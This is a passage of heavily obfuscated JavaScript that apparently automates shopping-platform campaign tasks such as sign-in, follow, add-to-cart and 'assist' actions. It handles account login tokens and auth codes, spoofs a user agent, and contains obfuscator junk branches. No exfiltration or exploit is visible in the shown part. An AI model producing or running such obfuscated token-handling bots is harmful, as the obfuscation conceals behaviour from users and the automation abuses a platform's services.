_0x3cfed1==_0x237532;},'yHReN':function _0x249ac(_0x5a1b0f,_0xbb11d6){return _0x5a1b0f!==_0xbb11d6;},'VwXTB':_0x4a89('0x3c5','\x69\x29\x75\x31'),'dSDYf':_0x4a89('0x3c6','\x34\x4f\x38\x7a'),'VaxfE':function _0x111d6c(_0xd3d272,_0x1fa6c8){return _0xd3d272!==_0x1fa6c8;},'qugaG':_0x4a89('0x3c7','\x61\x6f\x26\x38'),'KPDUS':_0x4a89('0x3c8','\x6b\x75\x5d\x50'),'UTbJO':function _0x2837a2(_0x51ee18,_0x18786a){return _0x51ee18==_0x18786a;},'CmKOU':function _0x2d6964(_0x3a27f9,_0x56d6d7){return _0x3a27f9!==_0x56d6d7;},'WKIzD':_0x4a89('0x3c9','\x79\x46\x54\x35'),'ouRAX':_0x4a89('0x3ca','\x76\x40\x53\x26'),'ThXDX':_0x4a89('0x3cb','\x30\x56\x64\x26'),'wPVWk':function _0x1405a5(_0x36700,_0x4e1738){return _0x36700+_0x4e1738;},'IUZsc':function _0x1c4ef9(_0x2d58e9,_0x48cef6){return _0x2d58e9+_0x48cef6;},'QkQVW':_0x4a89('0x3cc','\x63\x5b\x4a\x78'),'OnuOE':function _0x5adfc1(_0x23b838,_0x4af287){return _0x23b838+_0x4af287;},'GKOfo':_0x4a89('0x3cd','\x4a\x72\x5a\x70'),'nRIds':_0x4a89('0x3ce','\x5e\x2a\x37\x5d'),'kKtNY':_0x4a89('0x3cf','\x44\x41\x65\x70'),'eQGkA':_0x4a89('0x3d0','\x4a\x72\x5a\x70'),'GtHRu':function _0x3500cc(_0x5b9d9f,_0x3d62df){return _0x5b9d9f==_0x3d62df;},'CINyj':_0x4a89('0x3d1','\x61\x6f\x26\x38'),'iTCoN':_0x4a89('0x3d2','\x77\x25\x77\x37'),'NuhVa':_0x4a89('0x3d3','\x4e\x5a\x4c\x52'),'gYJBF':_0x4a89('0x3d4','\x77\x25\x77\x37'),'FggmQ':function _0x1ec0d6(_0x2e05f1,_0xbd1379){return _0x2e05f1==_0xbd1379;},'QfDyK':_0x4a89('0x3d5','\x4e\x2a\x74\x79'),'NXajN':_0x4a89('0x3d6','\x73\x5a\x2a\x75'),'LViaO':_0x4a89('0x3d7','\x6e\x70\x2a\x75'),'XQczn':function _0xdd629e(_0x4eda27,_0x55e2a3){return _0x4eda27==_0x55e2a3;},'FojTw':function _0x2321d8(_0x27ca37,_0x19265b){return _0x27ca37!==_0x19265b;},'VnZCI':_0x4a89('0x3d8','\x48\x42\x70\x46'),'Iupmz':_0x4a89('0x3d9','\x6e\x70\x2a\x75'),'zGWzb':_0x4a89('0x3da','\x66\x4c\x42\x4c'),'PedNa':function _0x5d59cc(_0x427d0d,_0x124599){return _0x427d0d==_0x124599;},'KyrAs':_0x4a89('0x3db','\x29\x78\x71\x25'),'LpfeI':_0x4a89('0x3dc','\x61\x6f\x26\x38'),'pEwCi':_0x4a89('0x3dd','\x4d\x6e\x43\x2a'),'ixhOd':_0x4a89('0x3de','\x66\x4c\x42\x4c'),'qeNfK':_0x4a89('0x3df','\x32\x50\x78\x4b'),'EdSnl':_0x4a89('0x3e0','\x57\x34\x33\x26'),'QglsS':_0x4a89('0x3e1','\x29\x28\x25\x40'),'zNELc':_0x4a89('0x3e2','\x29\x28\x25\x40'),'HTNfV':_0x4a89('0x3e3','\x6c\x5d\x34\x4d'),'PWKEJ':_0x4a89('0x3e4','\x2a\x26\x74\x73'),'mGsMl':_0x4a89('0x3e5','\x35\x31\x52\x64'),'ryQRw':function _0x466aa4(_0x5208b6,_0x41ac5f){return _0x5208b6==_0x41ac5f;},'FbVKb':function _0x4b3e07(_0x4ae94a,_0x3785c7){return _0x4ae94a==_0x3785c7;},'JrzLM':function _0x3da23a(_0x1ad800,_0x1e6d9a){return _0x1ad800===_0x1e6d9a;},'nBboe':_0x4a89('0x3e6','\x7a\x44\x24\x37'),'LEQxB':_0x4a89('0x3e7','\x76\x40\x53\x26'),'dPIlw':function _0x5d3852(_0x40e17d,_0x42057b){return _0x40e17d===_0x42057b;},'ztTsI':function _0x4718c5(_0xf82bf5,_0x79ca2d){return _0xf82bf5==_0x79ca2d;},'yYImr':function _0x19fd3b(_0x520a30,_0x4e52c3){return _0x520a30!==_0x4e52c3;},'EvyNh':_0x4a89('0x3e8','\x26\x49\x24\x6e'),'hgZiX':_0x4a89('0x3e9','\x32\x50\x78\x4b'),'ROyRa':_0x4a89('0x3ea','\x73\x5a\x2a\x75'),'VgnhB':_0x4a89('0x3eb','\x4e\x2a\x74\x79'),'YVjGu':function _0x21cc05(_0x541671,_0x2f3e67){return _0x541671+_0x2f3e67;},'dlnOm':function _0xd76851(_0x12baff,_0x10c2bc){return _0x12baff!==_0x10c2bc;},'BWWkY':_0x4a89('0x3ec','\x76\x68\x49\x5d'),'slDcc':_0x4a89('0x3ed','\x59\x35\x4e\x31'),'PZHrf':_0x4a89('0x3ee','\x32\x50\x78\x4b'),'AmIal':_0x4a89('0x3ef','\x61\x6f\x26\x38'),'VJhjH':_0x4a89('0x3f0','\x34\x4f\x38\x7a'),'xCQQV':function _0x346655(_0xb4ac1d,_0x37c20c){return _0xb4ac1d!==_0x37c20c;},'yFdTA':_0x4a89('0x3f1','\x69\x29\x75\x31'),'HbvYT':_0x4a89('0x3f2','\x72\x29\x5b\x4f')};let _0x20679d='';try{if(_0x59f8db[_0x4a89('0x3f3','\x66\x4c\x42\x4c')](_0x59f8db[_0x4a89('0x3f4','\x73\x75\x5e\x55')],_0x59f8db[_0x4a89('0x3f5','\x76\x40\x53\x26')])){console[_0x4a89('0x21c','\x41\x2a\x23\x48')](_0x1b60b1);}else{if(_0x1b60b1){_0x20679d=JSON[_0x4a89('0x3f6','\x57\x34\x33\x26')](_0x1b60b1);if(_0x20679d[_0x4a89('0x3f7','\x6c\x5d\x34\x4d')]){if(_0x59f8db[_0x4a89('0x3f8','\x6b\x75\x5d\x50')](_0x59f8db[_0x4a89('0x3f9','\x61\x6f\x26\x38')],_0x59f8db[_0x4a89('0x3fa','\x69\x73\x50\x5b')])){$['\x55\x41']=_0x4a89('0x3fb','\x4e\x5a\x4c\x52')+_0x59f8db[_0x4a89('0x3fc','\x7a\x44\x24\x37')](_0x85c545,0x28)+_0x4a89('0x3fd','\x2a\x26\x5a\x74');}else{let _0x51626e=_0x59f8db[_0x4a89('0x3fe','\x35\x31\x52\x64')]($[_0x4a89('0x3ff','\x76\x68\x49\x5d')],$[_0x4a89('0x400','\x48\x42\x70\x46')][_0x4a89('0x401','\x32\x50\x78\x4b')])?0x4:0x3,_0x5ec25f=_0x59f8db[_0x4a89('0x402','\x2a\x26\x5a\x74')](_0x270bd5,_0x20679d,_0x20679d[_0x4a89('0x403','\x4d\x52\x33\x40')],_0x51626e);_0x20679d=JSON[_0x4a89('0x404','\x31\x38\x57\x50')](_0x5ec25f);}}}}}catch(_0xeb9602){console[_0x4a89('0x28e','\x79\x40\x64\x4b')](_0x4fb4fd+_0x4a89('0x405','\x66\x75\x5b\x65'));$[_0x4a89('0x406','\x40\x25\x33\x64')]=![];}try{if(_0x59f8db[_0x4a89('0x407','\x76\x40\x53\x26')](_0x59f8db[_0x4a89('0x408','\x79\x46\x54\x35')],_0x59f8db[_0x4a89('0x409','\x69\x73\x50\x5b')])){switch(_0x4fb4fd){case _0x59f8db[_0x4a89('0x40a','\x4a\x72\x5a\x70')]:if(_0x59f8db[_0x4a89('0x40b','\x63\x5b\x4a\x78')](typeof _0x20679d,_0x59f8db[_0x4a89('0x40c','\x63\x5b\x4a\x78')])){if(_0x20679d[_0x4a89('0x40d','\x66\x75\x5b\x65')]){if(_0x59f8db[_0x4a89('0x40e','\x34\x4f\x38\x7a')](typeof _0x20679d[_0x4a89('0x40f','\x4e\x5a\x4c\x52')],_0x59f8db[_0x4a89('0x410','\x66\x4c\x42\x4c')]))$[_0x4a89('0x411','\x21\x4f\x50\x57')]=_0x20679d[_0x4a89('0x412','\x4e\x2a\x74\x79')];}else if(_0x20679d[_0x4a89('0x413','\x4a\x72\x5a\x70')]){console[_0x4a89('0x3e','\x73\x5a\x2a\x75')](_0x4a89('0x414','\x21\x4f\x50\x57')+_0x20679d[_0x4a89('0x415','\x79\x46\x54\x35')]);}else{console[_0x4a89('0x416','\x37\x77\x34\x40')](_0x1b60b1);}}else{if(_0x59f8db[_0x4a89('0x417','\x72\x29\x5b\x4f')](_0x59f8db[_0x4a89('0x418','\x35\x31\x52\x64')],_0x59f8db[_0x4a89('0x419','\x59\x35\x4e\x31')])){console[_0x4a89('0x41a','\x29\x28\x25\x40')](_0x1b60b1);}else{console[_0x4a89('0x41b','\x6c\x5d\x34\x4d')](_0x1b60b1);}}break;case _0x59f8db[_0x4a89('0x41c','\x6e\x70\x2a\x75')]:if(_0x59f8db[_0x4a89('0x41d','\x77\x25\x77\x37')](typeof _0x20679d,_0x59f8db[_0x4a89('0x41e','\x76\x68\x49\x5d')])){if(_0x59f8db[_0x4a89('0x41f','\x76\x6e\x71\x41')](_0x59f8db[_0x4a89('0x420','\x4e\x5a\x4c\x52')],_0x59f8db[_0x4a89('0x421','\x69\x73\x50\x5b')])){console[_0x4a89('0x277','\x7a\x44\x24\x37')](_0x4fb4fd+'\x20'+_0x20679d[_0x4a89('0x422','\x73\x5a\x2a\x75')]);}else{if(_0x20679d[_0x4a89('0x423','\x66\x5a\x31\x52')]&&_0x20679d[_0x4a89('0x424','\x2a\x26\x5a\x74')]){if(_0x59f8db[_0x4a89('0x425','\x4a\x72\x5a\x70')](_0x59f8db[_0x4a89('0x426','\x69\x73\x50\x5b')],_0x59f8db[_0x4a89('0x427','\x4d\x6e\x43\x2a')])){$[_0x4a89('0x428','\x73\x75\x5e\x55')]=_0x20679d[_0x4a89('0x429','\x26\x49\x24\x6e')][_0x4a89('0x42a','\x2a\x26\x74\x73')];}else{console[_0x4a89('0x164','\x33\x6b\x57\x54')](_0x1b60b1);}}else if(_0x20679d[_0x4a89('0x42b','\x79\x40\x64\x4b')]){console[_0x4a89('0x264','\x4d\x6e\x43\x2a')](_0x4fb4fd+'\x20'+_0x20679d[_0x4a89('0x42b','\x79\x40\x64\x4b')]);}else{if(_0x59f8db[_0x4a89('0x42c','\x21\x4f\x50\x57')](_0x59f8db[_0x4a89('0x42d','\x66\x75\x5b\x65')],_0x59f8db[_0x4a89('0x42e','\x4e\x5a\x4c\x52')])){console[_0x4a89('0x277','\x7a\x44\x24\x37')](item[_0x4a89('0x42f','\x73\x38\x25\x52')][_0x4a89('0x430','\x44\x55\x45\x49')],_0x59f8db[_0x4a89('0x431','\x79\x40\x64\x4b')]);}else{console[_0x4a89('0x416','\x37\x77\x34\x40')](_0x1b60b1);}}}}else{console[_0x4a89('0x28e','\x79\x40\x64\x4b')](_0x1b60b1);}break;case _0x59f8db[_0x4a89('0x432','\x2a\x26\x5a\x74')]:if(_0x59f8db[_0x4a89('0x433','\x21\x43\x21\x45')](typeof _0x20679d,_0x59f8db[_0x4a89('0x434','\x30\x56\x64\x26')])){if(_0x59f8db[_0x4a89('0x435','\x69\x73\x50\x5b')](_0x20679d[_0x4a89('0x436','\x4e\x5a\x4c\x52')],0x0)){if(_0x59f8db[_0x4a89('0x437','\x79\x40\x64\x4b')](_0x59f8db[_0x4a89('0x438','\x63\x5b\x4a\x78')],_0x59f8db[_0x4a89('0x439','\x7a\x44\x24\x37')])){temp[item[_0x4a89('0x43a','\x4e\x2a\x74\x79')]]=arr[index];}else{var _0x2a5da5=_0x59f8db[_0x4a89('0x43b','\x59\x35\x4e\x31')][_0x4a89('0x43c','\x66\x5a\x31\x52')]('\x7c'),_0x4024bb=0x0;while(!![]){switch(_0x2a5da5[_0x4024bb++]){case'\x30':$[_0x4a89('0x43d','\x59\x35\x4e\x31')]=_0x20679d[_0x4a89('0x43e','\x30\x56\x64\x26')];continue;case'\x31':$[_0x4a89('0x43f','\x4d\x52\x33\x40')][_0x4a89('0x440','\x26\x49\x24\x6e')]($[_0x4a89('0x143','\x59\x35\x4e\x31')]);continue;case'\x32':$[_0x4a89('0x441','\x6c\x5d\x34\x4d')]=_0x20679d[_0x4a89('0x442','\x44\x55\x45\x49')][_0x4a89('0x443','\x2a\x26\x74\x73')];continue;case'\x33':$[_0x4a89('0x146','\x28\x34\x68\x71')]=_0x20679d[_0x4a89('0x444','\x5e\x2a\x37\x5d')];continue;case'\x34':$[_0x4a89('0x445','\x21\x4f\x50\x57')]=_0x20679d[_0x4a89('0x446','\x79\x40\x64\x4b')];continue;case'\x35':$[_0x4a89('0x447','\x44\x41\x65\x70')]=JSON[_0x4a89('0x448','\x73\x38\x25\x52')](_0x20679d[_0x4a89('0x449','\x77\x25\x77\x37')][_0x4a89('0x44a','\x73\x38\x25\x52')])[_0x4a89('0x44b','\x73\x75\x5e\x55')];continue;}break;}}}else{if(_0x59f8db[_0x4a89('0x44c','\x34\x4f\x38\x7a')](_0x59f8db[_0x4a89('0x44d','\x6e\x70\x2a\x75')],_0x59f8db[_0x4a89('0x44e','\x2a\x26\x5a\x74')])){console[_0x4a89('0x41b','\x6c\x5d\x34\x4d')](e);}else{console[_0x4a89('0x44f','\x48\x42\x70\x46')](_0x1b60b1);}}}else{console[_0x4a89('0x450','\x34\x4f\x38\x7a')](_0x1b60b1);}break;case _0x59f8db[_0x4a89('0x451','\x79\x40\x64\x4b')]:if(_0x59f8db[_0x4a89('0x452','\x73\x75\x5e\x55')](typeof _0x20679d,_0x59f8db[_0x4a89('0x453','\x41\x2a\x23\x48')])){if(_0x59f8db[_0x4a89('0x454','\x32\x50\x78\x4b')](_0x20679d[_0x4a89('0x15f','\x48\x42\x70\x46')],0x0)){if(_0x59f8db[_0x4a89('0x455','\x69\x29\x75\x31')](_0x59f8db[_0x4a89('0x456','\x48\x42\x70\x46')],_0x59f8db[_0x4a89('0x457','\x48\x42\x70\x46')])){var _0x35fa57=_0x59f8db[_0x4a89('0x458','\x63\x6d\x33\x74')][_0x4a89('0x43c','\x66\x5a\x31\x52')]('\x7c'),_0x4bc9cf=0x0;while(!![]){switch(_0x35fa57[_0x4bc9cf++]){case'\x30':$[_0x4a89('0x459','\x26\x49\x24\x6e')]=_0x20679d[_0x4a89('0x45a','\x73\x5a\x2a\x75')][_0x4a89('0x45b','\x32\x50\x78\x4b')][_0x4a89('0x45c','\x34\x4f\x38\x7a')];continue;case'\x31':$[_0x4a89('0x45d','\x72\x29\x5b\x4f')]=_0x20679d[_0x4a89('0x45e','\x76\x40\x53\x26')][_0x4a89('0x45f','\x76\x68\x49\x5d')][_0x4a89('0x460','\x6c\x5d\x34\x4d')]();continue;case'\x32':$[_0x4a89('0x461','\x76\x68\x49\x5d')]=_0x20679d[_0x4a89('0x462','\x4a\x72\x5a\x70')];continue;case'\x33':$[_0x4a89('0x463','\x63\x5b\x4a\x78')]={'gameId':$[_0x4a89('0x464','\x69\x29\x75\x31')],'token':$[_0x4a89('0x465','\x29\x78\x71\x25')],'enc':_0x59f8db[_0x4a89('0x466','\x44\x55\x45\x49')]($[_0x4a89('0x31d','\x28\x34\x68\x71')][_0x4a89('0x467','\x6c\x5d\x34\x4d')](0x8,0x10),$[_0x4a89('0x468','\x33\x6b\x57\x54')][_0x4a89('0x469','\x33\x6b\x57\x54')](0x18,0x20)),'dec':_0x3b5a4b[_0x4a89('0x46a','\x2a\x26\x74\x73')]($[_0x4a89('0x46b','\x4d\x6e\x43\x2a')])[_0x4a89('0x46c','\x77\x25\x77\x37')]()[_0x4a89('0x46d','\x35\x31\x52\x64')](0x0,0x10),'loginToken':$[_0x4a89('0x46e','\x7a\x44\x24\x37')],'pltId':$[_0x4a89('0x46f','\x29\x28\x25\x40')],'loginEnc':_0x59f8db[_0x4a89('0x470','\x28\x34\x68\x71')]($[_0x4a89('0x471','\x63\x5b\x4a\x78')][_0x4a89('0x469','\x33\x6b\x57\x54')](0x8,0x10),$[_0x4a89('0x151','\x31\x38\x57\x50')][_0x4a89('0x472','\x44\x41\x65\x70')](0x18,0x20)),'loginDec':_0x3b5a4b[_0x4a89('0x473','\x66\x5a\x31\x52')]($[_0x4a89('0x474','\x63\x6d\x33\x74')])[_0x4a89('0x475','\x76\x40\x53\x26')]()[_0x4a89('0x476','\x66\x5a\x31\x52')](0x0,0x10),'authCode':$[_0x4a89('0x328','\x29\x78\x71\x25')]};continue;case'\x34':$[_0x4a89('0x477','\x29\x78\x71\x25')]=_0x20679d[_0x4a89('0x478','\x6b\x75\x5d\x50')][_0x4a89('0x479','\x66\x4c\x42\x4c')][_0x4a89('0x47a','\x61\x6f\x26\x38')];continue;case'\x35':$[_0x4a89('0x47b','\x77\x25\x77\x37')]=_0x20679d[_0x4a89('0x47c','\x21\x43\x21\x45')][_0x4a89('0x47d','\x40\x25\x33\x64')][_0x4a89('0x47e','\x73\x38\x25\x52')];continue;case'\x36':$[_0x4a89('0x1d5','\x76\x68\x49\x5d')]=_0x20679d[_0x4a89('0x47f','\x4d\x6e\x43\x2a')][_0x4a89('0x240','\x73\x38\x25\x52')];continue;}break;}}else{if(!stdout){process[_0x4a89('0x68','\x5e\x2a\x37\x5d')](0x6f);}}}else{console[_0x4a89('0x21c','\x41\x2a\x23\x48')](_0x1b60b1);}}else{if(_0x59f8db[_0x4a89('0x480','\x48\x42\x70\x46')](_0x59f8db[_0x4a89('0x481','\x69\x73\x50\x5b')],_0x59f8db[_0x4a89('0x482','\x66\x4c\x42\x4c')])){console[_0x4a89('0xc7','\x4a\x72\x5a\x70')](_0x1b60b1);}else{w[c](_0x59f8db[_0x4a89('0x483','\x41\x2a\x23\x48')]('\u5220\u9664',_0x59f8db[_0x4a89('0x484','\x41\x2a\x23\x48')]));}}break;case _0x59f8db[_0x4a89('0x485','\x5e\x2a\x37\x5d')]:if(_0x59f8db[_0x4a89('0x486','\x33\x6b\x57\x54')](typeof _0x20679d,_0x59f8db[_0x4a89('0x487','\x57\x34\x33\x26')])){let _0x127573=_0x20679d[_0x4a89('0x488','\x44\x41\x65\x70')][_0x4a89('0x489','\x32\x50\x78\x4b')];$[_0x4a89('0x46e','\x7a\x44\x24\x37')]=_0x20679d[_0x4a89('0x48a','\x66\x75\x5b\x65')];$[_0x4a89('0x48b','\x29\x28\x25\x40')]=_0x20679d[_0x4a89('0x48c','\x66\x5a\x31\x52')];$[_0x4a89('0x48d','\x40\x25\x33\x64')]=_0x20679d[_0x4a89('0x2fc','\x79\x40\x64\x4b')][_0x4a89('0x48e','\x34\x4f\x38\x7a')];if(_0x59f8db[_0x4a89('0x48f','\x7a\x44\x24\x37')](_0x127573,_0x59f8db[_0x4a89('0x490','\x73\x5a\x2a\x75')])){$[_0x4a89('0x491','\x29\x28\x25\x40')]=!![];console[_0x4a89('0x492','\x29\x78\x71\x25')](_0x59f8db[_0x4a89('0x493','\x48\x42\x70\x46')]);}else{if(_0x59f8db[_0x4a89('0x494','\x6b\x75\x5d\x50')](_0x127573,_0x59f8db[_0x4a89('0x495','\x66\x75\x5b\x65')])){console[_0x4a89('0x128','\x79\x46\x54\x35')](_0x59f8db[_0x4a89('0x496','\x33\x6b\x57\x54')]);}else if(_0x59f8db[_0x4a89('0x497','\x73\x38\x25\x52')](_0x127573,_0x59f8db[_0x4a89('0x498','\x63\x5b\x4a\x78')])){console[_0x4a89('0x86','\x66\x4c\x42\x4c')](_0x59f8db[_0x4a89('0x499','\x44\x41\x65\x70')]);}else if(_0x59f8db[_0x4a89('0x49a','\x63\x6d\x33\x74')](_0x127573,_0x59f8db[_0x4a89('0x49b','\x44\x41\x65\x70')])){console[_0x4a89('0x492','\x29\x78\x71\x25')](_0x59f8db[_0x4a89('0x49c','\x2a\x26\x74\x73')]);}}}else{console[_0x4a89('0x492','\x29\x78\x71\x25')](_0x20679d);}break;case _0x59f8db[_0x4a89('0x49d','\x7a\x44\x24\x37')]:if(_0x59f8db[_0x4a89('0x49e','\x73\x38\x25\x52')](typeof _0x20679d,_0x59f8db[_0x4a89('0x49f','\x34\x4f\x38\x7a')])){if(_0x59f8db[_0x4a89('0x4a0','\x66\x5a\x31\x52')](_0x20679d[_0x4a89('0x4a1','\x76\x40\x53\x26')],0x0)){if(_0x59f8db[_0x4a89('0x4a2','\x31\x38\x57\x50')](_0x59f8db[_0x4a89('0x4a3','\x63\x6d\x33\x74')],_0x59f8db[_0x4a89('0x4a4','\x72\x29\x5b\x4f')])){$[_0x4a89('0x4a5','\x6c\x5d\x34\x4d')]=_0x20679d[_0x4a89('0x3b1','\x44\x41\x65\x70')];}else{console[_0x4a89('0xc7','\x4a\x72\x5a\x70')](_0x1b60b1);}}}else{console[_0x4a89('0x8e','\x44\x55\x45\x49')](_0x1b60b1);}break;case _0x59f8db[_0x4a89('0x4a6','\x63\x5b\x4a\x78')]:if(_0x59f8db[_0x4a89('0x4a7','\x61\x6f\x26\x38')](typeof _0x20679d,_0x59f8db[_0x4a89('0x4a8','\x28\x34\x68\x71')])){if(_0x20679d[_0x4a89('0x4a9','\x34\x4f\x38\x7a')]&&_0x20679d[_0x4a89('0x4aa','\x79\x46\x54\x35')]){console[_0x4a89('0x392','\x30\x56\x64\x26')](_0x4a89('0x4ab','\x69\x29\x75\x31')+$[_0x4a89('0x4ac','\x44\x55\x45\x49')][_0x4a89('0x4ad','\x2a\x26\x5a\x74')]+_0x4a89('0x4ae','\x73\x75\x5e\x55'));}else if(_0x20679d[_0x4a89('0x4af','\x4d\x6e\x43\x2a')]){console[_0x4a89('0x4b0','\x63\x5b\x4a\x78')](_0x4fb4fd+'\x20'+_0x20679d[_0x4a89('0x4b1','\x59\x35\x4e\x31')]);}else{if(_0x59f8db[_0x4a89('0x4b2','\x21\x43\x21\x45')](_0x59f8db[_0x4a89('0x4b3','\x5e\x2a\x37\x5d')],_0x59f8db[_0x4a89('0x4b4','\x4e\x5a\x4c\x52')])){console[_0x4a89('0x492','\x29\x78\x71\x25')](_0x59f8db[_0x4a89('0x4b5','\x41\x2a\x23\x48')],_0x215e75[_0x4a89('0x4b6','\x4e\x5a\x4c\x52')]);}else{console[_0x4a89('0xab','\x32\x50\x78\x4b')](_0x1b60b1);}}}else{console[_0x4a89('0x8e','\x44\x55\x45\x49')](_0x1b60b1);}break;case _0x59f8db[_0x4a89('0x4b7','\x33\x6b\x57\x54')]:case _0x59f8db[_0x4a89('0x4b8','\x77\x25\x77\x37')]:break;case _0x59f8db[_0x4a89('0x4b9','\x72\x29\x5b\x4f')]:case _0x59f8db[_0x4a89('0x4ba','\x4e\x5a\x4c\x52')]:case _0x59f8db[_0x4a89('0x4bb','\x30\x56\x64\x26')]:case _0x59f8db[_0x4a89('0x4bc','\x57\x34\x33\x26')]:case _0x59f8db[_0x4a89('0x4bd','\x44\x55\x45\x49')]:case _0x59f8db[_0x4a89('0x4be','\x4e\x2a\x74\x79')]:case _0x59f8db[_0x4a89('0x4bf','\x73\x5a\x2a\x75')]:case'\u7ed1\u5b9a':case'\u52a9\u529b':let _0x22f280='';if(_0x59f8db[_0x4a89('0x4c0','\x21\x4f\x50\x57')](_0x4fb4fd,_0x59f8db[_0x4a89('0x4c1','\x37\x77\x34\x40')]))_0x22f280='\u5173\u6ce8';if(_0x59f8db[_0x4a89('0x4c2','\x44\x41\x65\x70')](_0x4fb4fd,_0x59f8db[_0x4a89('0x4c3','\x76\x68\x49\x5d')]))_0x22f280='\u52a0\u8d2d';if(_0x59f8db[_0x4a89('0x4c4','\x77\x25\x77\x37')](_0x4fb4fd,_0x59f8db[_0x4a89('0x4c5','\x2a\x26\x74\x73')]))_0x22f280='\u7b7e\u5230';if(_0x59f8db[_0x4a89('0x4c6','\x33\x6b\x57\x54')](typeof _0x20679d,_0x59f8db[_0x4a89('0x487','\x57\x34\x33\x26')])){if(_0x59f8db[_0x4a89('0x4c7','\x4a\x72\x5a\x70')](_0x59f8db[_0x4a89('0x4c8','\x59\x35\x4e\x31')],_0x59f8db[_0x4a89('0x4c9','\x73\x38\x25\x52')])){console[_0x4a89('0x277','\x7a\x44\x24\x37')](_0x1b60b1);}else{if(_0x20679d[_0x4a89('0x4ca','\x77\x25\x77\x37')]&&_0x59f8db[_0x4a89('0x4cb','\x6b\x75\x5d\x50')](_0x20679d[_0x4a89('0x4cc','\x79\x40\x64\x4b')],!![])&&_0x20679d[_0x4a89('0x4cd','\x21\x4f\x50\x57')]){if(_0x20679d[_0x4a89('0x13c','\x33\x6b\x57\x54')][_0x4a89('0x4ce','\x41\x2a\x23\x48')]&&_0x59f8db[_0x4a89('0x4cf','\x72\x29\x5b\x4f')](_0x20679d[_0x4a89('0x4d0','\x48\x42\x70\x46')][_0x4a89('0x4d1','\x28\x34\x68\x71')],0xc8)){if(_0x59f8db[_0x4a89('0x4d2','\x29\x28\x25\x40')](_0x59f8db[_0x4a89('0x4d3','\x73\x5a\x2a\x75')],_0x59f8db[_0x4a89('0x4d4','\x32\x50\x78\x4b')])){_0x20679d=_0x20679d[_0x4a89('0x4d5','\x79\x40\x64\x4b')];if(_0x59f8db[_0x4a89('0x4d6','\x48\x42\x70\x46')](_0x4fb4fd,_0x59f8db[_0x4a89('0x4d7','\x21\x43\x21\x45')])&&(_0x20679d[_0x4a89('0x4d8','\x77\x25\x77\x37')]||_0x20679d[_0x4a89('0x22e','\x40\x25\x33\x64')][_0x4a89('0x4d9','\x41\x2a\x23\x48')])){if(_0x59f8db[_0x4a89('0x4da','\x66\x4c\x42\x4c')](_0x59f8db[_0x4a89('0x4db','\x63\x6d\x33\x74')],_0x59f8db[_0x4a89('0x4dc','\x59\x35\x4e\x31')])){console[_0x4a89('0x264','\x4d\x6e\x43\x2a')](_0x59f8db[_0x4a89('0x4dd','\x59\x35\x4e\x31')](_0x22f280&&_0x59f8db[_0x4a89('0x4de','\x73\x75\x5e\x55')](_0x22f280,'\x3a')||'',_0x20679d[_0x4a89('0x4df','\x59\x35\x4e\x31')]||_0x20679d[_0x4a89('0x4e0','\x6c\x5d\x34\x4d')][_0x4a89('0x4e1','\x26\x49\x24\x6e')]||_0x20679d[_0x4a89('0x412','\x4e\x2a\x74\x79')][_0x4a89('0x4e2','\x2a\x26\x5a\x74')]||''));}else{console[_0x4a89('0x450','\x34\x4f\x38\x7a')](_0x1b60b1);}}if(_0x59f8db[_0x4a89('0x4e3','\x21\x4f\x50\x57')](_0x4fb4fd,_0x59f8db[_0x4a89('0x4e4','\x4e\x2a\x74\x79')])){if(_0x59f8db[_0x4a89('0x4e5','\x5e\x2a\x37\x5d')](_0x59f8db[_0x4a89('0x4e6','\x5e\x2a\x37\x5d')],_0x59f8db[_0x4a89('0x4e7','\x4e\x5a\x4c\x52')])){if(_0x20679d[_0x4a89('0x40f','\x4e\x5a\x4c\x52')]){$[_0x4a89('0x4e8','\x2a\x26\x5a\x74')]=_0x20679d[_0x4a89('0x4e9','\x73\x5a\x2a\x75')][_0x4a89('0x4ea','\x34\x4f\x38\x7a')][_0x4a89('0x4eb','\x73\x75\x5e\x55')]||'';$[_0x4a89('0x4ec','\x72\x29\x5b\x4f')]=_0x20679d[_0x4a89('0x4ed','\x29\x28\x25\x40')][_0x4a89('0x4ee','\x79\x46\x54\x35')][_0x4a89('0x4ef','\x77\x25\x77\x37')]||0x0;$[_0x4a89('0x4f0','\x66\x5a\x31\x52')]=_0x20679d[_0x4a89('0x4cd','\x21\x4f\x50\x57')][_0x4a89('0x4f1','\x77\x25\x77\x37')][_0x4a89('0x4f2','\x4d\x6e\x43\x2a')]||0x0;$[_0x4a89('0x4f3','\x79\x46\x54\x35')]=_0x20679d[_0x4a89('0x4d5','\x79\x40\x64\x4b')][_0x4a89('0x4f4','\x2a\x26\x5a\x74')][_0x4a89('0x4f5','\x66\x5a\x31\x52')]||0x0;}}else{var _0x4a6fad=_0x59f8db[_0x4a89('0x4f6','\x76\x68\x49\x5d')][_0x4a89('0x9c','\x21\x43\x21\x45')]('\x7c'),_0x2e1751=0x0;while(!![]){switch(_0x4a6fad[_0x2e1751++]){case'\x30':$[_0x4a89('0x4f7','\x7a\x44\x24\x37')]={'gameId':$[_0x4a89('0x240','\x73\x38\x25\x52')],'token':$[_0x4a89('0x31d','\x28\x34\x68\x71')],'enc':_0x59f8db[_0x4a89('0x4f8','\x4d\x6e\x43\x2a')]($[_0x4a89('0x4f9','\x34\x4f\x38\x7a')][_0x4a89('0xc0','\x4d\x52\x33\x40')](0x8,0x10),$[_0x4a89('0x4fa','\x2a\x26\x74\x73')][_0x4a89('0x4fb','\x2a\x26\x5a\x74')](0x18,0x20)),'dec':_0x3b5a4b[_0x4a89('0x4fc','\x66\x75\x5b\x65')]($[_0x4a89('0x4fd','\x6c\x5d\x34\x4d')])[_0x4a89('0x4fe','\x29\x28\x25\x40')]()[_0x4a89('0x4ff','\x61\x6f\x26\x38')](0x0,0x10),'loginToken':$[_0x4a89('0xba','\x32\x50\x78\x4b')],'pltId':$[_0x4a89('0x14d','\x57\x34\x33\x26')],'loginEnc':_0x59f8db[_0x4a89('0x500','\x44\x41\x65\x70')]($[_0x4a89('0x1a5','\x34\x4f\x38\x7a')][_0x4a89('0x501','\x29\x28\x25\x40')](0x8,0x10),$[_0x4a89('0x340','\x2a\x26\x74\x73')][_0x4a89('0x502','\x69\x73\x50\x5b')](0x18,0x20)),'loginDec':_0x3b5a4b[_0x4a89('0x503','\x76\x40\x53\x26')]($[_0x4a89('0x4e','\x30\x56\x64\x26')])[_0x4a89('0x504','\x4d\x6e\x43\x2a')]()[_0x4a89('0x469','\x33\x6b\x57\x54')](0x0,0x10),'authCode':$[_0x4a89('0x150','\x4e\x5a\x4c\x52')]};continue;case'\x31':$[_0x4a89('0x505','\x57\x34\x33\x26')]=_0x20679d[_0x4a89('0x506','\x26\x49\x24\x6e')][_0x4a89('0x507','\x21\x43\x21\x